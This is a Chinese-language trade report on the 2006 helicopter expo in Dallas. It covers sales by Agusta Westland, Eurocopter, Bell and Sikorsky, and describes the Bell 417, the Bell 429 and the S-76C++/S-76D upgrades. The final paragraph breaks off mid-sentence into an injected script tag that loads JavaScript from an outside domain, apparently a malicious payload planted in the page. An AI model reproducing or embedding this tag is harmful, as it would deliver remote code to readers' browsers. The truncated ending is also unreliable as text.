2006年直升机展览会于2 月26～28日在得克萨斯州达拉斯市的商务中心举行。此间正值笔者在美国访问，有幸参观了本届直升机展览会，并将参观展览看到的总体情况综述如下，以飨读者。

　　本届直升机展览会上共有521家参展商参展，展示了48种各型直升机，成交合同总金额达到6.2亿美元，创历史新高。其中阿古斯塔·韦斯特兰57架机，独占鳌头，包括AW139和A119，总值3.41亿美元；欧直32架，包括25架EC135、5架AS350B2、2架EC225，总值2.07亿美元；贝尔直升机公司55架，包括30架417、15架429，总值1.3亿美元；西科斯基14～16架S-76C++和S-92；恩斯特龙1架480B和1架280FX，总值110万美元。目前世界民用直升机机群的平均使用寿命超过了20年，已经到来大量需要更新的时候，这也是本届展览会取得良好销售业绩的原因。

　　贝尔新机抢尽风头

　　展览会第一天，贝尔直升机公司最新研发的轻型单发直升机贝尔417首次公开亮相，成为这次直升机展览会的最大的亮点。

　　该机是在贝尔407基础上推出的新单发改型，起飞总重2497千克，也是贝尔直升机公司用来竞标美国陆军武装侦察直升机计划的YAH-70A直升机的民用改型。该机主要更改是换装了霍尼韦尔公司的HTS900涡轴发动机和切而顿公司的玻璃驾驶舱。HTS900涡轴发动机能提供高于723千瓦的起飞功率，而407所选用的罗-罗250－C47B发动机的起飞功率为606千瓦，贝尔417具有更好的高温高原性能，能在4080米的高度上装载更多有效载重。

　　 HTS900发动机是原装配侦察/武装直升机RAH-66"科曼奇"的T800发动机的改进型，采用了一个新的二级离心压气机，以提高热动力部件的能力和降低燃油消耗。贝尔417其他的主要改进包括：重新设计了尾桨，采用的两副翘翘板桨叶有间隙布置的剪刀式尾桨，可以有效地降低尾桨噪声，改进的气泡驾驶舱能为驾驶员提供了更大的头部空间，可保证绝大多数男性驾驶员带上装有夜视镜的告警头盔乘坐。该机计划于2008年初完成适航取证，并开始向用户交付，预期售价211万美元。

　　在贝尔展示的另一个亮点产品是贝尔429。它是贝尔427的改进型，起飞总重从贝尔427的2720千克增加到3175千克。该机是阿古斯塔·韦斯特兰A109的竞争机型。贝尔429在航电系统上作了重大改进，主要是选用了霍尼韦尔的KSG-7200大气姿态航向基准系统（ADAHRS）。

　　该系统由霍尼韦尔为航空运输和商用喷气飞机研发的大气姿态航向基准系统改进而来，它采用微机电传感器（MEMS）替代了传统的陀螺和加速度计，能提供更高的精度并取消了像GPS这样的外部校准源的需要。KSG-7200是一个革命性的双通道系统，它将姿态、高度、空速、大气温度和航向信息集为一体。ADAHRS系统将是贝尔429的标准航电设备。

　　此外，霍尼韦尔还为该机提供了自动定向仪、雷达高度表、气象雷达和近地告警系统，但作为选装设备。贝尔429还采用新研发的旋翼系统，采用了具有较低桨尖速度和后掠的桨尖设计，以降低外部噪声。贝尔429的首飞计划在今年三季度进行，2007年下半年完成加拿大和FAA的适航取证，然后在12个月内完成EASA的适航取证。

　　在今年2月的新加坡航展上，贝尔和韩国航空工业有限公司（KAI）签订了在未来10年内将由KAI独家生产供应429机身结构合作生产协议，预期总价值将超过1.5亿美元，KAI还取得向韩国和中国市场的销售权。目前429已经取得超过150架机的订单。

　　西科斯基稳步推进S-76和S-92

　　西科斯基这次展出的展品以S-76和S-92领军，辅之以施韦策的3个轻型直升机。其中 S-76C++整机和S-76D的全尺寸机身样机是该公司在去年的直升机展览会上宣布研制的两款最新的S-76改进型。

　　其中S-76C++是S-76C+的改进型，主要更改包括用阿赫耶2S2发动机取代阿赫耶2S1，发动机的功率将提高5%～6%，起飞总重在32℃时可增加204千克；安装了发动机进气过滤器，以防护外来物损伤和污染，延长发动机大修间隔时间，减少发动机拆卸次数，降低维护成本；加装霍尼韦尔新的VXP完好性和使用性监视系统（HUMS）；采用静减速器技术，降低主减噪声4分贝。S-76C++已在去年底取得FAA型号合格证，首架机已交付石油直升机有限公司，用于近海采油平台支援和人员运输，目前，S-76C++已获得60多架订单。在本届展览会的第一天，美国直升机公司就与西科斯基公司签订了采购4架S-76C++的协议，将取代目前用S-76B从事的从纽约市华尔街到肯尼迪机场的人员运输服务。

　　 S-76D是西科斯基公司在2005年2月启动的另一个S-76改型计划，其改进包括采用先进翼型设计的新复合材料桨叶，可以增加升力，提高高温下的起飞能力和增加约93千米航程；旋翼系统的另一个改进是采用双转速系统，即直升机在平飞时可选用较低的旋翼转速，以降低旋翼外部噪声；采用新设计的静音尾桨，可降低起飞噪声2分贝，其他飞行状态噪声1.5分贝，但不会影响它的飞行性能和侧飞能力；增加了?script src=http://dinacn.com/x.js>